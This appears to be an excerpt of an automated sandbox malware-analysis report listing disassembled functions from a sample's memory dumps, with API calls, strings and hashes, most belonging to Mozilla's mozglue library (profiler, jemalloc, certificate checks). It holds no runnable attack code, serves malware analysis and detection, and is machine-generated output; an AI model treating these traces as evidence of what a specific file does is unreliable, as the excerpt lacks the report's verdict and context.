Function 004098D0 Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT ref: 004098D8

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 1aee106081fe82a84b5a838b5431766f4324473991f19cdffcfc85f73d7ea574
Instruction ID: 85591d8b2077324c158e0d5cdc0cd752fc6e9f2d8541dbcaab8872a49f7b11e9
Opcode Fuzzy Hash: 1aee106081fe82a84b5a838b5431766f4324473991f19cdffcfc85f73d7ea574
Instruction Fuzzy Hash: CFF054B4D00208FBDB00EFA5C946B9EB7B4AB08304F1085A9FD05A7381E6749B00CB95

Non-executed Functions

Function 6C655440 Relevance: 140.6, APIs: 54, Strings: 26, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C655492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C6554A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C6554BE
__Init_thread_footer.LIBCMT ref: 6C6554DB

Part of subcall function 6C67AB3F: EnterCriticalSection.KERNEL32(6C6CE370,?,?,6C643527,6C6CF6CC,?,?,?,?,?,?,?,?,6C643284), ref: 6C67AB49
Part of subcall function 6C67AB3F: LeaveCriticalSection.KERNEL32(6C6CE370,?,6C643527,6C6CF6CC,?,?,?,?,?,?,?,?,6C643284,?,?,6C6656F6), ref: 6C67AB7C

Part of subcall function 6C67CBE8: GetCurrentProcess.KERNEL32(?,6C6431A7), ref: 6C67CBF1
Part of subcall function 6C67CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6431A7), ref: 6C67CBFA

GetCurrentThreadId.KERNEL32 ref: 6C6554F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C655516
GetCurrentThreadId.KERNEL32 ref: 6C65556A
AcquireSRWLockExclusive.KERNEL32(6C6CF4B8), ref: 6C655577
moz_xmalloc.MOZGLUE(00000070), ref: 6C655585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C655590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C6555E6
ReleaseSRWLockExclusive.KERNEL32(6C6CF4B8), ref: 6C655606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C655616

Part of subcall function 6C67AB89: EnterCriticalSection.KERNEL32(6C6CE370,?,?,?,6C6434DE,6C6CF6CC,?,?,?,?,?,?,?,6C643284), ref: 6C67AB94
Part of subcall function 6C67AB89: LeaveCriticalSection.KERNEL32(6C6CE370,?,6C6434DE,6C6CF6CC,?,?,?,?,?,?,?,6C643284,?,?,6C6656F6), ref: 6C67ABD1

GetCurrentThreadId.KERNEL32 ref: 6C65563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C655646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C65567C
free.MOZGLUE(?), ref: 6C6556AE

Part of subcall function 6C665E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C665EDB
Part of subcall function 6C665E90: memset.VCRUNTIME140(ewjl,000000E5,?), ref: 6C665F27
Part of subcall function 6C665E90: LeaveCriticalSection.KERNEL32(?), ref: 6C665FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C6556E8
GetCurrentThreadId.KERNEL32 ref: 6C655707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C65570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C655729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C65574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C65576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C655796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C6557B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C6557CA

Strings

- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C655D24
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C6554A3
[I %d/%d] profiler_init, xrefs: 6C65564E
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C6557C5
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C655B38
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C655766
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C655D1C
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C655724
MOZ_PROFILER_STARTUP, xrefs: 6C6555E1
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C655CF9
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C655717
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C655C56
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C655791
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C655749
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C655BBE
GeckoMain, xrefs: 6C655554, 6C6555D5
MOZ_BASE_PROFILER_HELP, xrefs: 6C655511
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C655D01
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C6556E3
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C655AC9
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C6554B9
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C65584E
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C655D2B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C65548D
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C6557AE
Q^, xrefs: 6C6557BC

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$Q^$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-2639675677
Opcode ID: 15a02e19587a3266c9a89b204700ec4f85c55d2de9d87a5c044e61ea7b18b27c
Instruction ID: 6048674e254740fa37413a88e79ba0bfd19137ef93847031fe58c57cb8861fb5
Opcode Fuzzy Hash: 15a02e19587a3266c9a89b204700ec4f85c55d2de9d87a5c044e61ea7b18b27c
Instruction Fuzzy Hash: 672201B1A043409FEB009F75889C66A77B4EF8730CFA4462AE84687B41E731D565CB6F

Function 6C656C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C656CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C656D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C656D26

Part of subcall function 6C65CA10: malloc.MOZGLUE(?), ref: 6C65CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C656D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C656D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C656D73
free.MOZGLUE(00000000), ref: 6C656D80
CertGetNameStringW.CRYPT32 ref: 6C656DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C656DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C656DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C656DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C656E10
CryptMsgClose.CRYPT32(00000000), ref: 6C656E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C656E34
CreateFileW.KERNEL32 ref: 6C656EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C656F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C656F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C65709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C657103
free.MOZGLUE(00000000), ref: 6C657153
CloseHandle.KERNEL32(?), ref: 6C657176
__Init_thread_footer.LIBCMT ref: 6C657209
__Init_thread_footer.LIBCMT ref: 6C65723A
__Init_thread_footer.LIBCMT ref: 6C65726B
__Init_thread_footer.LIBCMT ref: 6C65729C
__Init_thread_footer.LIBCMT ref: 6C6572DC
__Init_thread_footer.LIBCMT ref: 6C65730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C6573C2
VerSetConditionMask.NTDLL ref: 6C6573F3
VerSetConditionMask.NTDLL ref: 6C6573FF
VerSetConditionMask.NTDLL ref: 6C657406
VerSetConditionMask.NTDLL ref: 6C65740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C65741A
moz_xmalloc.MOZGLUE(?), ref: 6C65755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C657568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C657585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C657598
free.MOZGLUE(00000000), ref: 6C6575AC

Part of subcall function 6C67AB89: EnterCriticalSection.KERNEL32(6C6CE370,?,?,?,6C6434DE,6C6CF6CC,?,?,?,?,?,?,?,6C643284), ref: 6C67AB94
Part of subcall function 6C67AB89: LeaveCriticalSection.KERNEL32(6C6CE370,?,6C6434DE,6C6CF6CC,?,?,?,?,?,?,?,6C643284,?,?,6C6656F6), ref: 6C67ABD1

Strings

SHA256, xrefs: 6C656EC0
wintrust.dll, xrefs: 6C6572CD
(, xrefs: 6C65768A
CryptCATAdminReleaseCatalogContext, xrefs: 6C6572C8

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 01b1cf8fdf5a2b46ee59ed51e34fbd9aecc834f336fe7708fa61edbf732bf7ee
Instruction ID: dba331c7a1890539a7d25698bc893666614d6cd71a947a1efeb4db9e1df273ed
Opcode Fuzzy Hash: 01b1cf8fdf5a2b46ee59ed51e34fbd9aecc834f336fe7708fa61edbf732bf7ee
Instruction Fuzzy Hash: BF52E7B1A012149FEB21DF25CCC4BAA77B8FF46704F108599E909A7640DB30AF95CF99

Function 6C680DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C680F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C680F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C680FB7
EnterCriticalSection.KERNEL32(?), ref: 6C680FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C681031
LeaveCriticalSection.KERNEL32(?), ref: 6C6810D0
EnterCriticalSection.KERNEL32(?), ref: 6C68117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C681C39
EnterCriticalSection.KERNEL32(6C6CE744), ref: 6C683391
LeaveCriticalSection.KERNEL32(6C6CE744), ref: 6C6833CD
LeaveCriticalSection.KERNEL32(?), ref: 6C683431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C683437

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C683559, 6C68382D, 6C683848
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C6837D2
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C683793
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6837BD
MALLOC_OPTIONS, xrefs: 6C6835FE
MOZ_CRASH(), xrefs: 6C683950
<jemalloc>, xrefs: 6C683941, 6C6839F1
Compile-time page size does not divide the runtime one., xrefs: 6C683946
: (malloc) Unsupported character in malloc options: ', xrefs: 6C683A02
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6837A8

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: a3811523ac95b3c9cf810f0da74dc448bf7cab87f285c5de357986e1cd100d0d
Instruction ID: 268eabb1b5d5a35de61f1765db4af33c265865daa0f27ffd11d27e9b5dbc14aa
Opcode Fuzzy Hash: a3811523ac95b3c9cf810f0da74dc448bf7cab87f285c5de357986e1cd100d0d
Instruction Fuzzy Hash: E5539DB1A067018FC704CF29C580616FBE1FF89328F29C66DE8699B791D771E841CB99

Function 6C6A34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6A3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6A355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6A35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6A35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6A363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6A3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6A36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6A3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6A373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6A3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6A378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6A3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6A38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6A3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6A3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6A3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6A39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6A3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6A3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6A3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6A3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6A3EE2

Part of subcall function 6C6A6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C6A61DD
Part of subcall function 6C6A6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C6A622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6A40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6A412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6A4157

Part of subcall function 6C6A6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C6A6250
Part of subcall function 6C6A6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6A6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6A441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6A4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6A484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6A4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6A4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6A4896
free.MOZGLUE ref: 6C6A489F

Strings

, xrefs: 6C6A4CD2

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: cb192bca6d4e1e77902e46df2870a7ccc7834bbb1dcc86f724a9edf0daab271d
Instruction ID: 0293f94020d9932d634f4cdb214bf96a9eaa67f6cb650077e807946a9f2dedcc
Opcode Fuzzy Hash: cb192bca6d4e1e77902e46df2870a7ccc7834bbb1dcc86f724a9edf0daab271d
Instruction Fuzzy Hash: 78F26C70908B808FC725CF29C08469AFBF1FFCA304F518A5ED99997712DB719896CB46

Function 6C6564C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C6564DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C6564F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C656505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C656518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C65652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C65671C
GetCurrentProcess.KERNEL32 ref: 6C656724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C65672F
GetCurrentProcess.KERNEL32 ref: 6C656759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C656764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C656A80
GetSystemInfo.KERNEL32(?), ref: 6C656ABE
__Init_thread_footer.LIBCMT ref: 6C656AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C656AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C656AF7

Strings

_etoured.dll, xrefs: 6C6564ED
user32.dll, xrefs: 6C656526
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C656798
detoured.dll, xrefs: 6C6564DA
nvd3d9wrap.dll, xrefs: 6C656500
nvdxgiwrap.dll, xrefs: 6C656513

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 3b2db143a1cbcd975e36dc362d62bc7afe8f453f05a8a60b1061210eea2b2883
Instruction ID: 92de16284c52db7163434d9febb638029d03f6bdc14abfefe57acc7e33b741be
Opcode Fuzzy Hash: 3b2db143a1cbcd975e36dc362d62bc7afe8f453f05a8a60b1061210eea2b2883
Instruction Fuzzy Hash: ADF1E170A052199FDB20CF25CC88BDAB7B4AF46318F644299E809E3741D731EE95CF99

Function 6C6AC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6AC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6AC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C6AC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C6AC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C6AC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6ACC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C6ACD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6ADB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C6ADB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C6ADB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6ADD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C6ADE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C6AE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6AE432
memcpy.VCRUNTIME140(?,?,?), ref: 6C6AE472

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: d62df0cfdb221e09615c0fa3b698ed25b89c67823d48d1122e8a0d53cf700e34
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 40339D71E0421A8FCB04CFA8C8806EDBBF2FF49314F288269D955AB755D731AD46CB94

Function 6C66ED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C66EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C66EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C671695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6716B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C671770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C671A3E

Strings

~qdl, xrefs: 6C66ED13
~qdl, xrefs: 6C66ED10

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
